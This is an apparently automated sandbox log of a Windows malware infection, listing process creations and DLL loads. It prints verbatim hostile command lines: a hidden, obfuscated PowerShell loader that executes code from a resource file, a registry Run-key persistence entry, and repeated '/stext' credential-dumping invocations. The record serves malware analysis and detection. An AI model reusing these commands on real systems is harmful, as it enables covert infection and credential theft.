Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF72C.tmp" "c:\Users\user\AppData\Local\Temp\r4gn3nq1\CSCA7279739985342FFA8B6946FD4222CB8.TMP"
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe "C:\Users\user\AppData\Local\Temp\Vaccinerende.exe"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\uufpqcznfpbrpkbrchvwvbbgmplrtlta"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\wwta"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\hrysrnv"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\jypyihgkg"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\tsdrjareurci"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\wvibksbfizuvagm"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\iwmakfxbvkkvnuhajheo"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\krsslxicrscipavesrrqbfdw"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\vtxdlqtwfaunaojibclrekqfvdn"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\myrqksteqvbcbpuimnlztpdvy"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\xtwidkeyedthlwimexyaecymzxube"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\zvbbddpzsllmnceqnitchhsvidlcgnnv"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\jghbahqihjysxfkijlbzkstdovyth"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\tamubzacvrqfilguawnanwnuwchuixxt"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\dcam"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: winbrand.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dwmapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\mshta.exe Section loaded: secur32.dll
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: webio.dll
Source: C:\Windows\System32\mshta.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: nlaapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\mshta.exe Section loaded: oleacc.dll
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll
Source: C:\Windows\System32\mshta.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: credssp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\mshta.exe Section loaded: bcrypt.dll
Source: C:\Windows\System32\mshta.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll
Source: C:\Windows\System32\mshta.exe Section loaded: d3d10warp.dll
Source: C:\Windows\System32\cmd.exe Section loaded: winbrand.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\dllhost.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\dllhost.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\dllhost.exe Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn2.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntdsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: rpcrtremote.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: shcore.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\reg.exe Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\reg.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: rpcrtremote.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: shcore.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: bcrypt.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: rpcrtremote.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: atl.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: pstorec.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: atl.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: ucrtbase.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: cryptsp.dll
